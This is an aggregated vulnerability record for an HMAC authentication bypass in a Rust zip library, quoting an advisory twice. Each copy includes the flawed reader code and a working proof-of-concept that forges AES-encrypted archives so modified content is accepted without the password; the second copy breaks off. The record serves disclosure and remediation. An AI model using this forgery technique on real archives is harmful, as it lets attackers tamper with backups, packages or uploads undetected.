{"id":"CVE-2026-115906","aliases":["AZL-112208","AZL-112217","DEBIAN-CVE-2026-115906","EUVD-2026-109983","GHSA-8hxf-qr8p-62x4","SUSE-SU-2026:24641-1","SUSE-SU-2026:24658-1","SUSE-SU-2026:4930-1","SUSE-SU-2026:4931-1","UBUNTU-CVE-2026-115906","openSUSE-SU-2026:22249-1"],"status":"published","title":"zip: AES Entry HMAC Authentication Bypass on Premature EOF","description":"zip is a zip library for Rust that supports reading and writing simple ZIP files. From 0.6.0 until 9.0.0, the AES entry reader in src/aes.rs verifies its HMAC only when the attacker-controlled data counter reaches zero. If the underlying bounded reader reaches the real end of the archive while data_remaining is still positive, or if an encrypted entry has no payload, the reader can return a clean end of stream without reading and comparing the authentication tag. Applications using by_index_decrypt, by_name_decrypt, by_path_decrypt, or password-enabled by_index_with_options can therefore accept modified plaintext without an authentication error. This issue is fixed in version 9.0.0.","severity":{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00151,"percentile":0.04269,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1284","CWE-354"],"published":"2026-10-26T16:30:30Z","modified":"2026-11-12T17:29:07Z","fixes":[{"ecosystem":"crates.io","package":"zip","fixed_in":["9.0.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"crates.io","package":"zip","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.6.0"},{"fixed":"9.0.0"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"rust","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.75.0-31"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"rust","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.85.0"},{"last_affected":"1.98.1-1"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"rust-zip","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.6.3-3","0.6.6-1","0.6.6-2","0.6.6-3","0.6.6-4","0.6.6-5","2.5.0-1","5.1.1+dfsg-1","5.1.1-1","5.1.1-2","5.1.1-3","5.1.1-4","9.0.5+ds-1","9.1.3+ds-1"]},{"source":"osv","ecosystem":"Debian:13","package":"rust-zip","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.5.0-1","5.1.1+dfsg-1","5.1.1-1","5.1.1-2","5.1.1-3","5.1.1-4","9.0.5+ds-1","9.1.3+ds-1"]},{"source":"osv","ecosystem":"Debian:14","package":"rust-zip","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.5.0-1","5.1.1+dfsg-1","5.1.1-1","5.1.1-2","5.1.1-3","5.1.1-4","9.0.5+ds-1","9.1.3+ds-1"]},{"source":"osv","ecosystem":"crates.io","package":"zip","ranges":[{"type":"SEMVER","events":[{"introduced":"0.6.0"},{"fixed":"9.0.0"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Micro 6.2","package":"rust-keylime","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.2.10+12-160000.1.1"}]}],"bundled":5},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"rust-keylime","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.2.10+12-160000.1.1"}]}],"bundled":5},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"rust-keylime","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.2.10+12-160000.1.1"}]}],"bundled":5},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Micro 5.4","package":"rust-keylime","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.2.10+12-150400.3.22.1"}]}],"bundled":5},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Micro 5.5","package":"rust-keylime","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.2.10+12-150500.3.22.1"}]}],"bundled":5},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"rust-zip","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.5.0-1","0.5.3-1","0.5.3-2"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"rust-zip","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.5.8-2","0.5.13-1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"rust-zip","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.6.6-1","0.6.6-2"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"rust-zip","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["5.1.1-3","5.1.1+dfsg-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"rust-zip","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.5.0-1","5.1.1-2","5.1.1-3"]},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"rust-keylime","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.2.10+12-160000.1.1"}]}],"bundled":5}],"products":[{"vendor":"zip-rs","product":"zip2"}],"references":[{"url":"https://github.com/zip-rs/zip2/security/advisories/GHSA-8hxf-qr8p-62x4","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/zip-rs/zip2/commit/ec265db0b0602f8ffb9479327397bddefb7e2216","tags":["x_refsource_MISC","fix","web","report"]},{"url":"https://github.com/zip-rs/zip2/releases/tag/v9.0.0","tags":["x_refsource_MISC","web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115906","tags":["web","advisory"]},{"url":"https://github.com/advisories/GHSA-8hxf-qr8p-62x4"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/115xxx/CVE-2026-115906.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-115906","tags":["advisory"]},{"url":"https://github.com/zip-rs/zip2","tags":["package"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202624641-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1287921","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-115905","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-115906","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-115907","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-115908","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-115909","tags":["web"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202624658-1/","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20264930-1/","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20264931-1/","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2026-115906","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-115906","tags":["report"]},{"url":"https://github.com/zip-rs/zip2/security/advisories/ghsa-8hxf-qr8p-62x4","tags":["report"]},{"url":"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1152227","tags":["report"]},{"url":"https://security-tracker.debian.org/tracker/cve-2026-115906","tags":["report"]},{"url":"https://github.com/cveproject/cvelistv5/tree/main/cves/2026/115xxx/cve-2026-115906.json","tags":["report"]},{"url":"https://nvd.nist.gov/vuln/detail/cve-2026-115906","tags":["report"]},{"url":"","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-115906","title":"zip: AES Entry HMAC Authentication Bypass on Premature EOF","description":"zip is a zip library for Rust that supports reading and writing simple ZIP files. From 0.6.0 until 9.0.0, the AES entry reader in src/aes.rs verifies its HMAC only when the attacker-controlled data counter reaches zero. If the underlying bounded reader reaches the real end of the archive while data_remaining is still positive, or if an encrypted entry has no payload, the reader can return a clean end of stream without reading and comparing the authentication tag. Applications using by_index_decrypt, by_name_decrypt, by_path_decrypt, or password-enabled by_index_with_options can therefore accept modified plaintext without an authentication error. This issue is fixed in version 9.0.0.","status":"published","published":"2026-10-26T16:30:30.954Z","modified":"2026-10-31T01:32:55.292Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-354","CWE-1284"],"updated_at":"2026-11-02T14:20:01.618694Z"}],"euvd":[{"id":"EUVD-2026-109983","description":"zip is a zip library for Rust that supports reading and writing simple ZIP files. From 0.6.0 until 9.0.0, the AES entry reader in src/aes.rs verifies its HMAC only when the attacker-controlled data counter reaches zero. If the underlying bounded reader reaches the real end of the archive while data_remaining is still positive, or if an encrypted entry has no payload, the reader can return a clean end of stream without reading and comparing the authentication tag. Applications using by_index_decrypt, by_name_decrypt, by_path_decrypt, or password-enabled by_index_with_options can therefore accept modified plaintext without an authentication error. This issue is fixed in version 9.0.0.","status":"published","published":"2026-10-26T16:30:30Z","modified":"2026-10-31T01:32:55Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium"}],"updated_at":"2026-11-02T16:59:01.198534Z"}],"ghsa":[{"id":"GHSA-8hxf-qr8p-62x4","title":"zip: AES Entry HMAC Authentication Bypass on Premature EOF","description":"### Summary\n\nAn AES-encrypted (AE-x) entry's authentication code is verified only when the reader's byte counter lands exactly on zero. If the bounded entry reader reaches the archive's actual EOF before the attacker-controlled, header-declared `compressed_size`, the counter remains positive, the HMAC is never read or compared, and the truncated, unauthenticated plaintext is returned as a clean end of stream. A zero-payload entry also returns before authentication. An attacker who does not know the password can modify an archive so chosen or modified plaintext is accepted with no error.\n\n### Details\n\n[`src/aes.rs:246-292`](https://github.com/zip-rs/zip2/blob/6f09b3064ec87c3a69ea9f3413f9f9638b4aa446/src/aes.rs#L246-L292):\n\n```rust\nfn read(\u0026mut self, buf: \u0026mut [u8]) -\u003e io::Result\u003cusize\u003e {\n    if self.data_remaining == 0 { // @audit insufficient check\n        return Ok(0);\n    }\n\n    // get the number of bytes to read, compare as u64 to make sure we can read more than\n    // 2^32 bytes even on 32 bit systems.\n    let bytes_to_read = self.data_remaining.min(buf.len() as u64) as usize;\n    let read = self.reader.read(\u0026mut buf[0..bytes_to_read])?;\n    self.data_remaining -= read as u64;\n\n    // Update the hmac with the encrypted data\n    self.hmac.update(\u0026buf[0..read]);\n\n    // decrypt the data\n    self.cipher.crypt_in_place(\u0026mut buf[0..read]);\n\n    // if there is no data left to read, check the integrity of the data\n    if self.data_remaining == 0 {\n        debug_assert!(\n            !self.finalized,\n            \"Tried to use an already finalized HMAC. This is a bug!\"\n        );\n        if self.finalized {\n            return Err(Error::new(\n                ErrorKind::InvalidData,\n                \"Tried to use an already finalized HMAC\",\n            ));\n        }\n        self.finalized = true;\n\n        // Zip uses HMAC-Sha1-80, which only uses the first half of the hash\n        // see https://www.winzip.com/win/en/aes_info.html#auth-faq\n        let mut read_auth_code = [0; AUTH_CODE_LENGTH];\n        self.reader.read_exact(\u0026mut read_auth_code)?;\n        let computed_auth_code = \u0026self.hmac.finalize_reset().into_bytes()[0..AUTH_CODE_LENGTH];\n\n        // use constant time comparison to mitigate timing attacks\n        if !constant_time_eq(computed_auth_code, \u0026read_auth_code) {\n            return Err(Error::new(\n                ErrorKind::InvalidData,\n                \"Invalid authentication code, this could be due to an invalid password or errors in the data\",\n            ));\n        }\n    }\n\n    Ok(read)\n}\n```\n\n`data_remaining` starts at `compressed_size - (2 + 10 + salt_length)` ([`src/aes.rs:144-145`](https://github.com/zip-rs/zip2/blob/6f09b3064ec87c3a69ea9f3413f9f9638b4aa446/src/aes.rs#L144-L145)), where `compressed_size` comes straight from the attacker-controlled central directory. Nothing cross-checks the declared data span against the archive's structural boundaries: `ZipFileData::find_content()` is just `reader.take(self.compressed_size)` ([`src/types.rs:214-223`](https://github.com/zip-rs/zip2/blob/6f09b3064ec87c3a69ea9f3413f9f9638b4aa446/src/types.rs#L214-L223)), and `make_crypto_reader()` passes the declared value into `AesReader::new()` ([`src/read/readers.rs`](https://github.com/zip-rs/zip2/blob/6f09b3064ec87c3a69ea9f3413f9f9638b4aa446/src/read/readers.rs#L219-L223)).\n\nWhen the entry's bounded reader reaches true EOF before the declared size, the inner reader returns `Ok(0)`, the subtraction takes away nothing, and the finalisation block — the only place the 10-byte HMAC-SHA1-80 tag is read and compared — never runs. If bytes such as the central directory follow the entry, they are consumed as payload until the `Take` limit is reached; the HMAC then usually fails. The bypass therefore requires true EOF at the premature end (as in the PoC) or the zero-payload case. The early return at the top of `read()` means an entry whose declared size leaves zero payload bytes is never authenticated either, even though its tag is present in the file.\n\nThis defeats the guarantee the type documents: *\"After the data has been read and decrypted an HMAC will be checked and provide a final means to check if either the password is invalid or if the data has been changed.\"*\n\nAE-2 entries skip the CRC-32 check by design ([`src/read/readers.rs`](https://github.com/zip-rs/zip2/blob/6f09b3064ec87c3a69ea9f3413f9f9638b4aa446/src/read/readers.rs#L248-L255) → `Crc32Reader::new(.., should_disable = true)`), so an AE-2 entry on this path has no integrity check of any kind remaining. AES-CTR is malleable, so an attacker who can modify an archive in transit — without the password — can XOR chosen plaintext onto the ciphertext and arrange for the entry to end at true EOF. The password-bearing read paths are affected, including `by_index_decrypt()`, `by_name_decrypt()`, `by_path_decrypt()`, and `by_index_with_options()` when a password is supplied. Bare `extract()` calls `by_index()` without a password and therefore rejects AES-encrypted entries; an application that decrypts entries through these APIs before writing or extracting them is affected.\n\n### PoC\n\n`tests/aes_hmac_bypass.rs` below; `Cargo.toml` needs only `zip = { git = \"https://github.com/zip-rs/zip2\", rev = \"6f09b3064ec87c3a69ea9f3413f9f9638b4aa446\" }`, or `zip = \"8.6.0\"` to run it against the published 8.6.0 release unchanged. All three tests pass in debug and release against the reviewed commit.\n\n```rust\nuse std::io::{Cursor, Read, Write};\nuse zip::write::SimpleFileOptions;\nuse zip::{AesMode, CompressionMethod, ZipArchive, ZipWriter};\n\nconst PASSWORD: \u0026str = \"correct horse battery staple\";\nconst GENUINE: \u0026[u8] = b\"balance: 100 USD\\n\";\nconst FORGED: \u0026[u8] = b\"balance: 999 USD\\n\";\nconst AES256_OVERHEAD: usize = 28; // 16-byte salt + 2-byte verifier + 10-byte tag\n\nfn genuine_archive(plaintext: \u0026[u8]) -\u003e Vec\u003cu8\u003e {\n    let mut w = ZipWriter::new(Cursor::new(Vec::new()));\n    let opts = SimpleFileOptions::default()\n        .compression_method(CompressionMethod::Stored)\n        .with_aes_encryption(AesMode::Aes256, PASSWORD);\n    w.start_file(\"secret.txt\", opts).unwrap();\n    w.write_all(plaintext).unwrap();\n    w.finish().unwrap().into_inner()\n}\n\n/// What a victim does: open with the correct password and read the entry.\nfn victim_reads(archive: \u0026[u8]) -\u003e std::io::Result\u003cVec\u003cu8\u003e\u003e {\n    let mut a = ZipArchive::new(Cursor::new(archive.to_vec())).unwrap();\n    let mut f = a.by_index_decrypt(0, PASSWORD.as_bytes()).unwrap();\n    let mut out = Vec::new();\n    f.read_to_end(\u0026mut out)?;\n    Ok(out)\n}\n\nfn u16le(b: \u0026[u8], off: usize) -\u003e usize {\n    u16::from_le_bytes([b[off], b[off + 1]]) as usize\n}\n\n/// Payload offset of the single local file header at offset 0.\nfn payload_start(a: \u0026[u8]) -\u003e usize {\n    30 + u16le(a, 26) + u16le(a, 28)\n}\n\n/// Control: on a well-formed archive the HMAC does reject forged ciphertext.\n#[test]\nfn tampering_is_detected_when_the_declared_size_is_honest() {\n    let mut a = genuine_archive(GENUINE);\n    let ct = payload_start(\u0026a) + 18;\n    for i in 0..GENUINE.len() {\n        a[ct + i] ^= GENUINE[i] ^ FORGED[i]; // AES-CTR is malleable\n    }\n    let err = victim_reads(\u0026a).unwrap_err();\n    assert!(err.to_string().contains(\"Invalid authentication code\"));\n}\n\n/// The bypass: chosen plaintext is delivered verbatim, without the password.\n#[test]\nfn hmac_is_bypassed_when_the_entry_ends_early() {\n    let genuine = genuine_archive(GENUINE);\n    let hdr_len = payload_start(\u0026genuine);\n    let eocd = genuine.len() - 22; // no archive comment yet\n    let cd_offset = u32::from_le_bytes(genuine[eocd + 16..eocd + 20].try_into().unwrap()) as usize;\n\n    // Park a second copy of the entry after the end-of-central-directory record,\n    // inside the archive comment, so its data ends at true EOF. Header, salt and\n    // password verifier are copied verbatim — no password knowledge is required.\n    let mut evil = genuine.clone();\n    let new_hdr_offset = evil.len() as u32;\n    evil.extend_from_slice(\u0026genuine[..hdr_len + 18]); // local header + salt + verifier\n    for i in 0..GENUINE.len() {\n        // XOR the keystream onto the chosen plaintext; the 10-byte tag is omitted.\n        evil.push(genuine[hdr_len + 18 + i] ^ GENUINE[i] ^ FORGED[i]);\n    }\n    let comment_len = (evil.len() - genuine.len()) as u16;\n    evil[eocd + 20..eocd + 22].copy_from_slice(\u0026comment_len.to_le_bytes());\n\n    // Repoint the central directory at the parked copy and declare more data than\n    // is present, so `data_remaining` can never reach zero.\n    let declared = (AES256_OVERHEAD + GENUINE.len() + 64) as u32;\n    evil[cd_offset + 42..cd_offset + 46].copy_from_slice(\u0026new_hdr_offset.to_le_bytes());\n    evil[cd_offset + 20..cd_offset + 24].copy_from_slice(\u0026declared.to_le_bytes());\n    let hdr2 = new_hdr_offset as usize;\n    evil[hdr2 + 18..hdr2 + 22].copy_from_slice(\u0026declared.to_le_bytes());\n\n    let content = victim_reads(\u0026evil).expect(\"BUG: unauthenticated content was accepted\");\n    assert_eq!(content, FORGED);\n}\n\n/// Second path: an entry with no payload bytes is never authenticated at all.\n#[test]\nfn hmac_is_never_checked_for_a_zero_length_entry() {\n    let mut a = genuine_archive(b\"\");\n    let tag = payload_start(\u0026a) + 18;\n    a[tag] ^= 0xff; // corrupt the 10-byte authentication code\n    let content = victim_reads(\u0026a).expect(\"BUG: a corrupt authentication code was accepted\");\n    assert!(content.is_empty());\n}\n```\n\nTurning the genuine plaintext into a *chosen* plaintext needs the genuine plaintext, as always with CTR malleability; without it the attacker still controls arbitrary bit-flips in the delivered content.\n\n### Impact\n\nAny application that decrypts AES ZIP entries from untrusted or in-transit archives — backup restore, artefact and package ingestion, mail attachments, upload handling — can be served modified or attacker-chosen content by a party who does not hold the password, with no error surfaced by the affected read path. Exact chosen plaintext requires knowledge of the original plaintext, as with standard CTR malleability; otherwise the attacker can still induce arbitrary bit flips. Confidentiality is not affected and there is no memory-safety issue; the loss is the integrity guarantee that AE-x authenticated encryption exists to provide.\n\n### Suggested remediation\n\n1. In `AesReaderValid::read()`, treat a short inner read as an error rather than a clean EOF: after the decrement, if `read == 0 \u0026\u0026 self.data_remaining \u003e 0`, return `ErrorKind::UnexpectedEof`.\n2. That alone is not enough — run the finalisation logic for zero-length entries too, either by dropping the early return and finalising once per reader, or by finalising at construction when `data_length == 0`.\n3. Defence in depth: validate that the declared compressed-data span is bounded by the archive's structural boundaries (in particular, the central-directory start when known) in `ZipFileData::find_content()` / `find_content_seek()` (`src/types.rs`). Also make the `compressed_size - overhead` subtraction in `AesReader::new()` (`src/aes.rs:144`) checked — today a declared size below the AES overhead underflows it, which panics under `overflow-checks` and, for sizes that still permit header validation, otherwise yields up to 9 bytes of unauthenticated plaintext through the same missing check.","status":"published","published":"2026-10-29T16:40:07Z","modified":"2026-10-29T16:40:09Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium"}],"cwes":["CWE-354","CWE-1284"],"updated_at":"2026-11-02T14:41:41.028239Z"}],"nvd":[{"id":"CVE-2026-115906","description":"zip is a zip library for Rust that supports reading and writing simple ZIP files. From 0.6.0 until 9.0.0, the AES entry reader in src/aes.rs verifies its HMAC only when the attacker-controlled data counter reaches zero. If the underlying bounded reader reaches the real end of the archive while data_remaining is still positive, or if an encrypted entry has no payload, the reader can return a clean end of stream without reading and comparing the authentication tag. Applications using by_index_decrypt, by_name_decrypt, by_path_decrypt, or password-enabled by_index_with_options can therefore accept modified plaintext without an authentication error. This issue is fixed in version 9.0.0.","status":"published","published":"2026-10-26T17:17:17.993Z","modified":"2026-10-31T02:17:29.267Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-354","CWE-1284"],"updated_at":"2026-11-02T14:13:03.452847Z"}],"osv":[{"id":"CVE-2026-115906","title":"zip: AES Entry HMAC Authentication Bypass on Premature EOF","description":"zip is a zip library for Rust that supports reading and writing simple ZIP files. From 0.6.0 until 9.0.0, the AES entry reader in src/aes.rs verifies its HMAC only when the attacker-controlled data counter reaches zero. If the underlying bounded reader reaches the real end of the archive while data_remaining is still positive, or if an encrypted entry has no payload, the reader can return a clean end of stream without reading and comparing the authentication tag. Applications using by_index_decrypt, by_name_decrypt, by_path_decrypt, or password-enabled by_index_with_options can therefore accept modified plaintext without an authentication error. This issue is fixed in version 9.0.0.","status":"published","published":"2026-10-26T16:30:30.954Z","modified":"2026-11-12T17:29:07.380520368Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium"}],"cwes":["CWE-1284","CWE-354"],"updated_at":"2026-11-11T17:46:38.239173Z"},{"id":"DEBIAN-CVE-2026-115906","description":"zip is a zip library for Rust that supports reading and writing simple ZIP files. From 0.6.0 until 9.0.0, the AES entry reader in src/aes.rs verifies its HMAC only when the attacker-controlled data counter reaches zero. If the underlying bounded reader reaches the real end of the archive while data_remaining is still positive, or if an encrypted entry has no payload, the reader can return a clean end of stream without reading and comparing the authentication tag. Applications using by_index_decrypt, by_name_decrypt, by_path_decrypt, or password-enabled by_index_with_options can therefore accept modified plaintext without an authentication error. This issue is fixed in version 9.0.0.","status":"published","published":"2026-10-26T17:17:17.993Z","modified":"2026-10-31T10:00:50.76024379Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium"}],"updated_at":"2026-11-02T15:45:50.923612Z"},{"id":"GHSA-8hxf-qr8p-62x4","title":"zip: AES Entry HMAC Authentication Bypass on Premature EOF","description":"### Summary\n\nAn AES-encrypted (AE-x) entry's authentication code is verified only when the reader's byte counter lands exactly on zero. If the bounded entry reader reaches the archive's actual EOF before the attacker-controlled, header-declared `compressed_size`, the counter remains positive, the HMAC is never read or compared, and the truncated, unauthenticated plaintext is returned as a clean end of stream. A zero-payload entry also returns before authentication. An attacker who does not know the password can modify an archive so chosen or modified plaintext is accepted with no error.\n\n### Details\n\n[`src/aes.rs:246-292`](https://github.com/zip-rs/zip2/blob/6f09b3064ec87c3a69ea9f3413f9f9638b4aa446/src/aes.rs#L246-L292):\n\n```rust\nfn read(\u0026mut self, buf: \u0026mut [u8]) -\u003e io::Result\u003cusize\u003e {\n    if self.data_remaining == 0 { // @audit insufficient check\n        return Ok(0);\n    }\n\n    // get the number of bytes to read, compare as u64 to make sure we can read more than\n    // 2^32 bytes even on 32 bit systems.\n    let bytes_to_read = self.data_remaining.min(buf.len() as u64) as usize;\n    let read = self.reader.read(\u0026mut buf[0..bytes_to_read])?;\n    self.data_remaining -= read as u64;\n\n    // Update the hmac with the encrypted data\n    self.hmac.update(\u0026buf[0..read]);\n\n    // decrypt the data\n    self.cipher.crypt_in_place(\u0026mut buf[0..read]);\n\n    // if there is no data left to read, check the integrity of the data\n    if self.data_remaining == 0 {\n        debug_assert!(\n            !self.finalized,\n            \"Tried to use an already finalized HMAC. This is a bug!\"\n        );\n        if self.finalized {\n            return Err(Error::new(\n                ErrorKind::InvalidData,\n                \"Tried to use an already finalized HMAC\",\n            ));\n        }\n        self.finalized = true;\n\n        // Zip uses HMAC-Sha1-80, which only uses the first half of the hash\n        // see https://www.winzip.com/win/en/aes_info.html#auth-faq\n        let mut read_auth_code = [0; AUTH_CODE_LENGTH];\n        self.reader.read_exact(\u0026mut read_auth_code)?;\n        let computed_auth_code = \u0026self.hmac.finalize_reset().into_bytes()[0..AUTH_CODE_LENGTH];\n\n        // use constant time comparison to mitigate timing attacks\n        if !constant_time_eq(computed_auth_code, \u0026read_auth_code) {\n            return Err(Error::new(\n                ErrorKind::InvalidData,\n                \"Invalid authentication code, this could be due to an invalid password or errors in the data\",\n            ));\n        }\n    }\n\n    Ok(read)\n}\n```\n\n`data_remaining` starts at `compressed_size - (2 + 10 + salt_length)` ([`src/aes.rs:144-145`](https://github.com/zip-rs/zip2/blob/6f09b3064ec87c3a69ea9f3413f9f9638b4aa446/src/aes.rs#L144-L145)), where `compressed_size` comes straight from the attacker-controlled central directory. Nothing cross-checks the declared data span against the archive's structural boundaries: `ZipFileData::find_content()` is just `reader.take(self.compressed_size)` ([`src/types.rs:214-223`](https://github.com/zip-rs/zip2/blob/6f09b3064ec87c3a69ea9f3413f9f9638b4aa446/src/types.rs#L214-L223)), and `make_crypto_reader()` passes the declared value into `AesReader::new()` ([`src/read/readers.rs`](https://github.com/zip-rs/zip2/blob/6f09b3064ec87c3a69ea9f3413f9f9638b4aa446/src/read/readers.rs#L219-L223)).\n\nWhen the entry's bounded reader reaches true EOF before the declared size, the inner reader returns `Ok(0)`, the subtraction takes away nothing, and the finalisation block — the only place the 10-byte HMAC-SHA1-80 tag is read and compared — never runs. If bytes such as the central directory follow the entry, they are consumed as payload until the `Take` limit is reached; the HMAC then usually fails. The bypass therefore requires true EOF at the premature end (as in the PoC) or the zero-payload case. The early return at the top of `read()` means an entry whose declared size leaves zero payload bytes is never authenticated either, even though its tag is present in the file.\n\nThis defeats the guarantee the type documents: *\"After the data has been read and decrypted an HMAC will be checked and provide a final means to check if either the password is invalid or if the data has been changed.\"*\n\nAE-2 entries skip the CRC-32 check by design ([`src/read/readers.rs`](https://github.com/zip-rs/zip2/blob/6f09b3064ec87c3a69ea9f3413f9f9638b4aa446/src/read/readers.rs#L248-L255) → `Crc32Reader::new(.., should_disable = true)`), so an AE-2 entry on this path has no integrity check of any kind remaining. AES-CTR is malleable, so an attacker who can modify an archive in transit — without the password — can XOR chosen plaintext onto the ciphertext and arrange for the entry to end at true EOF. The password-bearing read paths are affected, including `by_index_decrypt()`, `by_name_decrypt()`, `by_path_decrypt()`, and `by_index_with_options()` when a password is supplied. Bare `extract()` calls `by_index()` without a password and therefore rejects AES-encrypted entries; an application that decrypts entries through these APIs before writing or extracting them is affected.\n\n### PoC\n\n`tests/aes_hmac_bypass.rs` below; `Cargo.toml` needs only `zip = { git = \"https://github.com/zip-rs/zip2\", rev = \"6f09b3064ec87c3a69ea9f3413f9f9638b4aa446\" }`, or `zip = \"8.6.0\"` to run it against the published 8.6.0 release unchanged. All three tests pass in debug and release against the reviewed commit.\n\n```rust\nuse std::io::{Cursor, Read, Write};\nuse zip::write::SimpleFileOptions;\nuse zip::{AesMode, CompressionMethod, ZipArchive, ZipWriter};\n\nconst PASSWORD: \u0026str = \"correct horse battery staple\";\nconst GENUINE: \u0026[u8] = b\"balance: 100 USD\\n\";\nconst FORGED: \u0026[u8] = b\"balance: 999 USD\\n\";\nconst AES256_OVERHEAD: usize = 28; // 16-byte salt + 2-byte verifier + 10-byte tag\n\nfn genuine_archive(plaintext: \u0026[u8]) -\u003e Vec\u003cu8\u003e {\n    let mut w = ZipWriter::new(Cursor::new(Vec::new()));\n    let opts = SimpleFileOptions::default()\n        .compression_method(CompressionMethod::Stored)\n        .with_aes_encryption(AesMode::Aes256, PASSWORD);\n    w.start_file(\"secret.txt\", opts).unwrap();\n    w.write_all(plaintext).unwrap();\n    w.finish().unwrap().into_inner()\n}\n\n/// What a victim does: open with the correct password and read the entry.\nfn victim_reads(archive: \u0026[u8]) -\u003e std::io::Result\u003cVec\u003cu8\u003e\u003e {\n    let mut a = ZipArchive::new(Cursor::new(archive.to_vec())).unwrap();\n    let mut f = a.by_index_decrypt(0, PASSWORD.as_bytes()).unwrap();\n    let mut out = Vec::new();\n    f.read_to_end(\u0026mut out)?;\n    Ok(out)\n}\n\nfn u16le(b: \u0026[u8], off: usize) -\u003e usize {\n    u16::from_le_bytes([b[off], b[off + 1]]) as usize\n}\n\n/// Payload offset of the single local file header at offset 0.\nfn payload_start(a: \u0026[u8]) -\u003e usize {\n    30 + u16le(a, 26) + u16le(a, 28)\n}\n\n/// Control: on a well-formed archive the HMAC does reject forged ciphertext.\n#[test]\nfn tampering_is_detected_when_the_declared_size_is_honest() {\n    let mut a = genuine_archive(GENUINE);\n    let ct = payload_start(\u0026a) + 18;\n    for i in 0..GENUINE.len() {\n        a[ct + i] ^= GENUINE[i] ^ FORGED[i]; // AES-CTR is malleable\n    }\n    let err = victim_reads(\u0026a).unwrap_err();\n    assert!(err.to_string().contains(\"Invalid authentication code\"));\n}\n\n/// The bypass: chosen plaintext is delivered verbatim, without the password.\n#[test]\nfn hmac_is_bypassed_when_the_entry_ends_early() {\n    let genuine = genuine_archive(GENUINE);\n    let hdr_len = payload_start(\u0026genuine);\n    let eocd = genuine.len() - 22; // no archive comment yet\n    let cd_offset = u32::from_le_bytes(genuine[eocd + 16..eocd + 20].try_into().unwrap()) as usize;\n\n    // Park a second copy of the entry after the end-of-central-directory record,\n    // inside the archive comment, so its data ends at true EOF. Header, salt and\n    // password verifier are copied verbatim — no 